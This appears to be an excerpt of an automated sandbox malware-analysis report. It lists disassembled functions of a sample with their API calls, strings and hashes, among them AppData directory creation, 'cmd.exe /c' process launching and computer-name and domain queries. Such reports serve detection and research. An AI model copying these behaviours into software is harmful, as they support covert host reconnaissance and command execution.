                                          • _free.LIBCMT ref: 0092810E
                                          • _free.LIBCMT ref: 00928119
                                          • _free.LIBCMT ref: 00928241
                                          • _free.LIBCMT ref: 0092824D
                                          • _free.LIBCMT ref: 00928259
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _free$CloseHandle$ErrorLastProcess$CodeCreateExitFreeHeapObjectSingleWait__dosmaperr
                                          • String ID:
                                          • API String ID: 4143445633-0
                                          • Opcode ID: ae13c8263beaf5a11c0c917bcefb9bc11971af9546eb21f49209af58811e2495
                                          • Instruction ID: 932479bb24eac88844d9efec0827a35f084a4dce1bd82b817240c0bd85b393e3
                                          • Opcode Fuzzy Hash: ae13c8263beaf5a11c0c917bcefb9bc11971af9546eb21f49209af58811e2495
                                          • Instruction Fuzzy Hash: 0C61B071D0522CEFDF21AFA4EC45AEEBB78EF44311F208116F421A2155DB354E94CB60
                                          Function 008738C0 Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 349COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 4907 8738c0-87393f call 89a2d0 4910 873942-87394b 4907->4910 4910->4910 4911 87394d-873964 call 8973b0 4910->4911 4914 873967-873970 4911->4914 4914->4914 4915 873972-873a04 call 898860 * 2 4914->4915 4920 873a06-873a18 4915->4920 4921 873a38-873a56 4915->4921 4922 873a2e-873a35 call 8f13bc 4920->4922 4923 873a1a-873a28 4920->4923 4924 873a8d-873acb 4921->4924 4925 873a58-873a6d 4921->4925 4922->4921 4923->4922 4926 873d38 call 9158b2 4923->4926 4930 873ad0-873ad9 4924->4930 4928 873a83-873a8a call 8f13bc 4925->4928 4929 873a6f-873a7d 4925->4929 4937 873d3d call 9158b2 4926->4937 4928->4924 4929->4926 4929->4928 4930->4930 4933 873adb-873b2f call 8973b0 call 898860 4930->4933 4944 873b66-873b80 GetFileAttributesW 4933->4944 4945 873b31-873b46 4933->4945 4940 873d42-873d47 call 9158b2 4937->4940 4949 873b82-873b93 CreateDirectoryW 4944->4949 4950 873bc0-873bca GetFileAttributesW 4944->4950 4947 873b5c-873b63 call 8f13bc 4945->4947 4948 873b48-873b56 4945->4948 4947->4944 4948->4937 4948->4947 4952 873b95-873b9a CreateDirectoryW 4949->4952 4953 873b9c-873ba1 CreateDirectoryW 4949->4953 4954 873c01-873c07 4950->4954 4955 873bcc-873bd7 CreateDirectoryW 4950->4955 4952->4953 4959 873bb6-873bbe CreateDirectoryW 4953->4959 4960 873ba3-873bb4 CreateDirectoryW * 3 4953->4960 4956 873c3b-873c55 4954->4956 4957 873c09-873c1b 4954->4957 4961 873bea 4955->4961 4962 873bd9-873be8 CreateDirectoryW * 2 4955->4962 4966 873c57-873c69 4956->4966 4967 873c89-873ca3 4956->4967 4964 873c31-873c38 call 8f13bc 4957->4964 4965 873c1d-873c2b 4957->4965 4959->4954 4960->4954 4963 873bf0-873bfa GetFileAttributesW 4961->4963 4962->4963 4963->4954 4968 873bfc-873bff CreateDirectoryW 4963->4968 4964->4956 4965->4940 4965->4964 4970 873c7f-873c86 call 8f13bc 4966->4970 4971 873c6b-873c79 4966->4971 4972 873ca5-873cb7 4967->4972 4973 873cd3-873ced 4967->4973 4968->4954 4970->4967 4971->4940 4971->4970 4974 873cc9-873cd0 call 8f13bc 4972->4974 4975 873cb9-873cc7 4972->4975 4976 873cef-873d01 4973->4976 4977 873d1d-873d37 call 8f0d3b 4973->4977 4974->4973 4975->4940 4975->4974 4981 873d13-873d1a call 8f13bc 4976->4981 4982 873d03-873d11 4976->4982 4981->4977 4982->4940 4982->4981
                                          APIs
                                          • GetFileAttributesW.KERNEL32(?,AppData\,00000008,?,?,0095AFE0,00000001,?,?,?,?,00000000), ref: 00873B77
                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00873B8D
                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00873B98
                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00873B9D
                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00873BA5
                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00873BAD
                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00873BB2
                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00873BBC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CreateDirectory$AttributesFile
                                          • String ID: :\Users\$AppData\$mqzp
                                          • API String ID: 689033430-3699744738
                                          • Opcode ID: 0f39cadc64a5a9192626e77aa0707aa3f130afa1b244a2f00b898bd68b87a873
                                          • Instruction ID: adf2eb383e92333f42e7c5786f93bd189b7fe7668d2b8231782580d44affbd6e
                                          • Opcode Fuzzy Hash: 0f39cadc64a5a9192626e77aa0707aa3f130afa1b244a2f00b898bd68b87a873
                                          • Instruction Fuzzy Hash: 15D1DF31A10248DBDF14DF68CC85BADBB72FF85314F20824CE409EB295E774AA85DB52
                                          Function 00914FB2 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 228COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 5404 914fb2-914ff9 GetCurrentProcess DuplicateHandle 5405 915002-91501f call 92604d call 9279ad 5404->5405 5406 914ffb-914ffd 5404->5406 5405->5406 5414 915021-91502f call 91540c 5405->5414 5407 9151d0-9151d4 5406->5407 5410 9151d6-9151d9 CloseHandle 5407->5410 5411 9151df-9151e7 5407->5411 5410->5411 5417 915031-915033 5414->5417 5418 915038-915042 call 91524b 5414->5418 5419 9151c2-9151c7 5417->5419 5424 915044-915049 5418->5424 5425 91504b-915050 5418->5425 5419->5407 5421 9151c9-9151cf call 91252a 5419->5421 5421->5407 5427 915053-915079 call 909100 5424->5427 5425->5427 5430 915083-915090 5427->5430 5431 91507b-915081 5427->5431 5432 915092 5430->5432 5433 915095-9150a0 5430->5433 5431->5432 5432->5433 5434 9150a3-9150a8 5433->5434 5434->5434 5435 9150aa-9150b1 5434->5435 5436 9150b4-9150b9 5435->5436 5436->5436 5437 9150bb-9150c0 5436->5437 5438 9150c3-9150c8 5437->5438 5438->5438 5439 9150ca-9150e4 call 925478 5438->5439 5442 9151a5 5439->5442 5443 9150ea-9150f9 call 922932 5439->5443 5444 9151a7-9151b9 call 9254d5 * 2 5442->5444 5448 9151e8-9151f4 call 9158cf 5443->5448 5449 9150ff-915110 call 927358 5443->5449 5444->5419 5458 9151bb-9151bf 5444->5458 5449->5448 5457 915116-915125 call 927358 5449->5457 5457->5448 5461 91512b-915139 call 915289 5457->5461 5458->5419 5461->5442 5464 91513b-915177 CreateProcessA 5461->5464 5465 915180-915198 CloseHandle 5464->5465 5466 915179-91517e 5464->5466 5467 91519a-9151a3 call 9254d5 5465->5467 5466->5467 5467->5444
                                          APIs
                                          • GetCurrentProcess.KERNEL32 ref: 00914FBD
                                          • DuplicateHandle.KERNELBASE(00000000,?,00000000,000000FF,00000000,00000001,00000002), ref: 00914FF1
                                          • CloseHandle.KERNEL32(000000FF), ref: 009151D9
                                            • Part of subcall function 009158CF: IsProcessorFeaturePresent.KERNEL32(00000017,009158A1,?,?,00861F07,?,?,00000016,?,?,009158AE,00000000,00000000,00000000,00000000,00000000), ref: 009158D1
                                            • Part of subcall function 009158CF: GetCurrentProcess.KERNEL32(C0000417,?,?,?), ref: 009158F3
                                            • Part of subcall function 009158CF: TerminateProcess.KERNEL32(00000000), ref: 009158FA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Process$CurrentHandle$CloseDuplicateFeaturePresentProcessorTerminate
                                          • String ID: /c $([R$D$cmd.exe
                                          • API String ID: 1167604731-335754646
                                          • Opcode ID: b05faa0f67dcb20460e0aa4cf75287e8dcc9e79bd6f1bc5faf56bac423f175db
                                          • Instruction ID: aa0c3ff85ce335fb7b16c3277b9e2857390e58a4d893898df6d785cc3fad2901
                                          • Opcode Fuzzy Hash: b05faa0f67dcb20460e0aa4cf75287e8dcc9e79bd6f1bc5faf56bac423f175db
                                          • Instruction Fuzzy Hash: 3D71D375B04A09FFDB119FA4DC45BEEBBB9EF89310F124128E818A7251D7319E81DB50
                                          Function 00929212 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300COMMONLIBRARYCODE
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 5470 929212-929222 5471 929224-929237 call 916120 call 916133 5470->5471 5472 92923c-92923e 5470->5472 5489 9295be 5471->5489 5474 9295a6-9295b3 call 916120 call 916133 5472->5474 5475 929244-92924a 5472->5475 5494 9295b9 call 9158a2 5474->5494 5475->5474 5478 929250-92927b 5475->5478 5478->5474 5481 929281-92928a 5478->5481 5484 9292a4-9292a6 5481->5484 5485 92928c-92929f call 916120 call 916133 5481->5485 5487 9295a2-9295a4 5484->5487 5488 9292ac-9292b0 5484->5488 5485->5494 5491 9295c1-9295c6 5487->5491 5488->5487 5493 9292b6-9292ba 5488->5493 5489->5491 5493->5485 5496 9292bc-9292d3 5493->5496 5494->5489 5499 9292f0-9292f9 5496->5499 5500 9292d5-9292d8 5496->5500 5503 929317-929321 5499->5503 5504 9292fb-929312 call 916120 call 916133 call 9158a2 5499->5504 5501 9292e2-9292eb 5500->5501 5502 9292da-9292e0 5500->5502 5507 92938c-9293a6 5501->5507 5502->5501 5502->5504 5505 929323-929325 5503->5505 5506 929328-929346 call 926303 call 9254d5 * 2 5503->5506 5534 9294d9 5504->5534 5505->5506 5543 929363-929389 call 929765 5506->5543 5544 929348-92935e call 916133 call 916120 5506->5544 5509 92947a-929483 call 9303b7 5507->5509 5510 9293ac-9293bc 5507->5510 5521 9294f6 5509->5521 5522 929485-929497 5509->5522 5510->5509 5513 9293c2-9293c4 5510->5513 5513->5509 5519 9293ca-9293f0 5513->5519 5519->5509 5524 9293f6-929409 5519->5524 5530 9294fa-929512 ReadFile 5521->5530 5522->5521 5526 929499-9294a8 GetConsoleMode 5522->5526 5524->5509 5528 92940b-92940d 5524->5528 5526->5521 5533 9294aa-9294ae 5526->5533 5528->5509 5535 92940f-92943a 5528->5535 5531 929514-92951a 5530->5531 5532 92956e-929579 GetLastError 5530->5532 5531->5532 5539 92951c 5531->5539 5537 929592-929595 5532->5537 5538 92957b-92958d call 916133 call 916120 5532->5538 5533->5530 5540 9294b0-9294ca ReadConsoleW 5533->5540 5541 9294dc-9294e6 call 9254d5 5534->5541 5535->5509 5542 92943c-92944f 5535->5542 5550 9294d2-9294d8 call 9160fd 5537->5550 5551 92959b-92959d 5537->5551 5538->5534 5546 92951f-929531 5539->5546 5548 9294eb-9294f4 5540->5548 5549 9294cc GetLastError 5540->5549 5541->5491 5542->5509 5553 929451-929453 5542->5553 5543->5507 5544->5534 5546->5541 5556 929533-929537 5546->5556 5548->5546 5549->5550 5550->5534 5551->5541 5553->5509 5560 929455-929475 5553->5560 5563 929550-92955b 5556->5563 5564 929539-929549 call 928f2e 5556->5564 5560->5509 5570 929567-92956c call 928d6e 5563->5570 5571 92955d call 92907e 5563->5571 5575 92954c-92954e 5564->5575 5576 929562-929565 5570->5576 5571->5576 5575->5541 5576->5575
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID: 0-3907804496
                                          • Opcode ID: aa5c26abb0ab734cb0eb664b047b3b2b2d72b72c21c0c591b3dc0d562f853f56
                                          • Instruction ID: eb9d3d40dc48a9a8f37948886746821cb8c2f3128194f8f39d5a2c39ef8433e0
                                          • Opcode Fuzzy Hash: aa5c26abb0ab734cb0eb664b047b3b2b2d72b72c21c0c591b3dc0d562f853f56
                                          • Instruction Fuzzy Hash: 4CC1F874E08269AFDF11EFA8E845BEDBBB4BF4A310F184149F851A7396C7349941CB60
                                          Function 00930E00 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 5578 930e00-930e30 call 930b63 5581 930e32-930e3d call 916120 5578->5581 5582 930e4b-930e57 call 92d3ee 5578->5582 5587 930e3f-930e46 call 916133 5581->5587 5588 930e70-930eb9 call 930ace 5582->5588 5589 930e59-930e6e call 916120 call 916133 5582->5589 5596 931122-931128 5587->5596 5598 930f26-930f2f GetFileType 5588->5598 5599 930ebb-930ec4 5588->5599 5589->5587 5602 930f31-930f62 GetLastError call 9160fd CloseHandle 5598->5602 5603 930f78-930f7b 5598->5603 5600 930ec6-930eca 5599->5600 5601 930efb-930f21 GetLastError call 9160fd 5599->5601 5600->5601 5605 930ecc-930ef9 call 930ace 5600->5605 5601->5587 5602->5587 5617 930f68-930f73 call 916133 5602->5617 5608 930f84-930f8a 5603->5608 5609 930f7d-930f82 5603->5609 5605->5598 5605->5601 5610 930f8e-930fdc call 92d337 5608->5610 5611 930f8c 5608->5611 5609->5610 5620 930fde-930fe0 call 930cdf 5610->5620 5621 930fec-931010 call 930881 5610->5621 5611->5610 5617->5587 5625 930fe5-930fea 5620->5625 5628 931023-931066 5621->5628 5629 931012 5621->5629 5625->5621 5627 931014-93101e call 9260cc 5625->5627 5627->5596 5630 931087-931095 5628->5630 5631 931068-93106c 5628->5631 5629->5627 5634 931120 5630->5634 5635 93109b-93109f 5630->5635 5631->5630 5633 93106e-931082 5631->5633 5633->5630 5634->5596 5635->5634 5637 9310a1-9310d4 CloseHandle call 930ace 5635->5637 5640 9310d6-931102 GetLastError call 9160fd call 92d500 5637->5640 5641 931108-93111c 5637->5641 5640->5641 5641->5634
                                          APIs
                                            • Part of subcall function 00930ACE: CreateFileW.KERNEL32(00000000,00000000,?,00930EA9,?,?,00000000,?,00930EA9,00000000,0000000C), ref: 00930AEB
                                          • GetLastError.KERNEL32 ref: 00930F14
                                          • __dosmaperr.LIBCMT ref: 00930F1B
                                          • GetFileType.KERNEL32(00000000), ref: 00930F27
                                          • GetLastError.KERNEL32 ref: 00930F31
                                          • __dosmaperr.LIBCMT ref: 00930F3A
                                          • CloseHandle.KERNEL32(00000000), ref: 00930F5A
                                          • CloseHandle.KERNEL32(?), ref: 009310A4
                                          • GetLastError.KERNEL32 ref: 009310D6
                                          • __dosmaperr.LIBCMT ref: 009310DD
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                          • String ID: H
                                          • API String ID: 4237864984-2852464175
                                          • Opcode ID: 10d5fb54d4141414ff60eb7bc756b689b92d737b2bda8c5cd9ce9a1c2fce7957
                                          • Instruction ID: 8f0f2eaeb71ca9548fbe19f815d032b459bf2d0ab41d5b7974eff7b0321c7e15
                                          • Opcode Fuzzy Hash: 10d5fb54d4141414ff60eb7bc756b689b92d737b2bda8c5cd9ce9a1c2fce7957
                                          • Instruction Fuzzy Hash: 3EA16732A181488FCF29DF78DC55BEE7BA4AB8A324F180159F811DB3A1DB358D42CB51
                                          Function 00927E31 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 212COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 5646 927e31-927e3f 5647 927e41-927e54 call 916133 call 9158a2 5646->5647 5648 927e59-927e5c 5646->5648 5657 92803a-92803e 5647->5657 5648->5647 5650 927e5e-927e63 5648->5650 5650->5647 5652 927e65-927e69 5650->5652 5652->5647 5654 927e6b-927e6e 5652->5654 5654->5647 5656 927e70-927e96 call 9354f0 * 2 5654->5656 5662 927f27-927f29 5656->5662 5663 927e9c-927e9e 5656->5663 5664 927f2b-927f2d 5662->5664 5665 927f2f 5662->5665 5666 927f31-927f45 call 9354f0 5663->5666 5667 927ea4-927eb0 call 9354f0 5663->5667 5664->5665 5664->5666 5665->5666 5673 927f71 5666->5673 5674 927f47-927f52 call 9275d1 5666->5674 5667->5666 5672 927eb2-927eb4 5667->5672 5675 927eb7-927ebc 5672->5675 5677 927f74-927f79 5673->5677 5683 928005-928008 5674->5683 5684 927f58-927f62 call 92804c 5674->5684 5675->5675 5679 927ebe-927ed7 call 925478 5675->5679 5677->5677 5678 927f7b-927f91 call 925478 5677->5678 5689 927f93-927f96 5678->5689 5690 927f9b-927fac call 922932 5678->5690 5691 927ee7-927efa call 922932 5679->5691 5692 927ed9-927ee2 call 9254d5 5679->5692 5687 92802f-928035 call 9254d5 5683->5687 5693 927f67-927f6c 5684->5693 5700 928037-928039 5687->5700 5696 928028-92802e call 9254d5 5689->5696 5705 927fb2-927fcc call 916133 5690->5705 5706 928041-92804b call 9158cf 5690->5706 5708 927f00-927f0f call 927358 5691->5708 5709 92803f 5691->5709 5692->5700 5693->5687 5696->5687 5700->5657 5716 927fcf-927fec call 922932 call 9275d1 5705->5716 5708->5709 5717 927f15-927f25 call 9254d5 5708->5717 5709->5706 5725 92800a-928026 call 916133 call 92804c 5716->5725 5726 927fee-927ffc 5716->5726 5717->5666 5725->5696 5726->5716 5727 927ffe-928004 call 9254d5 5726->5727 5727->5683
                                          APIs
                                          • _strrchr.LIBCMT ref: 00927E75
                                          • _strrchr.LIBCMT ref: 00927E80
                                          • _strrchr.LIBCMT ref: 00927EA7
                                          • _free.LIBCMT ref: 00927EDA
                                            • Part of subcall function 009158CF: IsProcessorFeaturePresent.KERNEL32(00000017,009158A1,?,?,00861F07,?,?,00000016,?,?,009158AE,00000000,00000000,00000000,00000000,00000000), ref: 009158D1
                                            • Part of subcall function 009158CF: GetCurrentProcess.KERNEL32(C0000417,?,?,?), ref: 009158F3
                                            • Part of subcall function 009158CF: TerminateProcess.KERNEL32(00000000), ref: 009158FA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _strrchr$Process$CurrentFeaturePresentProcessorTerminate_free
                                          • String ID: .com
                                          • API String ID: 1283974128-4200470757
                                          • Opcode ID: b4ece27b198ecc0e56c22a72882bb5c29b057c88868aa715a76ca4a37c3edbdd
                                          • Instruction ID: 5a4559a3f7f1de6af95d79fd1b91a522f5516d70c5dc6202a6b37da725b3e65d
                                          • Opcode Fuzzy Hash: b4ece27b198ecc0e56c22a72882bb5c29b057c88868aa715a76ca4a37c3edbdd
                                          • Instruction Fuzzy Hash: FA513B31A09625BADF14AFB4AC41BFFB7A8DF81360F210159F810E719AEF318D459760
                                          Function 00874080 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 399COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 6666 874080-87412d GetComputerNameExW 6667 874130-874139 6666->6667 6667->6667 6668 87413b-8741a8 call 8973b0 call 89ac60 DsRoleGetPrimaryDomainInformation 6667->6668 6673 8741e2-8741ed 6668->6673 6674 8741aa-8741c4 call 891f60 6668->6674 6676 874230-87424f 6673->6676 6677 8741ef-874209 call 891f60 6673->6677 6674->6673 6682 8741c6-8741dd call 891f60 6674->6682 6680 874252-87425b 6676->6680 6686 87420f-87422b call 891f60 6677->6686 6687 8745fd-874606 6677->6687 6680->6680 6681 87425d-874347 call 8973b0 call 89ac60 call 8996d0 call 8920a0 call 899eb0 6680->6681 6716 8743c6-8743cf 6681->6716 6717 874349-874352 6681->6717 6682->6673 6686->6687 6689 874637-87465b 6687->6689 6690 874608-874617 6687->6690 6695 87468e-8746aa call 8f0d3b 6689->6695 6696 87465d-874672 6689->6696 6693 87462d-874634 call 8f13bc 6690->6693 6694 874619-874627 6690->6694 6693->6689 6694->6693 6699 8746ba-8746bf call 9158b2 6694->6699 6701 874684-87468b call 8f13bc 6696->6701 6702 874674-874682 6696->6702 6701->6695 6702->6699 6702->6701 6718 8743d1-8743e0 6716->6718 6719 874400-874428 6716->6719 6720 874354-874363 6717->6720 6721 874383-8743c3 6717->6721 6722 8743f6-8743fd call 8f13bc 6718->6722 6723 8743e2-8743f0 6718->6723 6724 87442a-874439 6719->6724 6725 874459-874481 6719->6725 6726 874365-874373 6720->6726 6727 874379-874380 call 8f13bc 6720->6727 6721->6716 6722->6719 6723->6722 6728 8746ab call 9158b2 6723->6728 6730 87444f-874456 call 8f13bc 6724->6730 6731 87443b-874449 6724->6731 6732 874483-874492 6725->6732 6733 8744b2-8744c7 call 867e30 6725->6733 6726->6727 6726->6728 6727->6721 6743 8746b0 call 9158b2 6728->6743 6730->6725 6731->6728 6731->6730 6735 874494-8744a2 6732->6735 6736 8744a8-8744af call 8f13bc 6732->6736 6748 87452e-874537 6733->6748 6749 8744c9-8744cf 6733->6749 6735->6728 6735->6736 6736->6733 6752 8746b5 call 9158b2 6743->6752 6750 874539-874548 6748->6750 6751 874568-874571 6748->6751 6753 8744d1-8744da 6749->6753 6754 8744fc-87452b 6749->6754 6755 87455e-874565 call 8f13bc 6750->6755 6756 87454a-874558 6750->6756 6758 874573-874582 6751->6758 6759 8745a2-8745c6 6751->6759 6752->6699 6760 8744f2-8744f9 call 8f13bc 6753->6760 6761 8744dc-8744ea 6753->6761 6754->6748 6755->6751 6756->6743 6756->6755 6763 874584-874592 6758->6763 6764 874598-87459f call 8f13bc 6758->6764 6759->6687 6766 8745c8-8745dd 6759->6766 6760->6754 6761->6743 6765 8744f0 6761->6765 6763->6752 6763->6764 6764->6759 6765->6760 6770 8745f3-8745fa call 8f13bc 6766->6770 6771 8745df-8745ed 6766->6771 6770->6687 6771->6752 6771->6770
                                          APIs
                                          • GetComputerNameExW.KERNEL32(00000000,?,?,707A716D,?), ref: 00874101
                                          • DsRoleGetPrimaryDomainInformation.NETAPI32(00000000,00000001,?,?,00000000,?,?,?), ref: 008741A0
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ComputerDomainInformationNamePrimaryRole
                                          • String ID: Empty$_D:$mqzp
                                          • API String ID: 1590873629-1455839221
                                          • Opcode ID: c557c63aa5da2e4752ab4d5476eaf7ffd1e6f13ea9491dd10e2c8863e6d77238
                                          • Instruction ID: 2c03e4aa5ae27264e0971146cea90b115d4274fd03a5a7098e3dfd79e8f8f99b
                                          • Opcode Fuzzy Hash: c557c63aa5da2e4752ab4d5476eaf7ffd1e6f13ea9491dd10e2c8863e6d77238
                                          • Instruction Fuzzy Hash: 3DF1AD71A101188BEB28DB28CD84BADB7B5FB85304F14C2D8E08DA7295DF759AC4CF91
                                          Function 008ED1C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 158COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetLastError.KERNEL32(707A716D,?,00000000,?), ref: 008ED1F7
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008ED2DB
                                          • GetFileAttributesW.KERNEL32(?,707A716D,?,?,?,?,?,?,?,00940700,000000FF,?,00864A32), ref: 008ED332
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
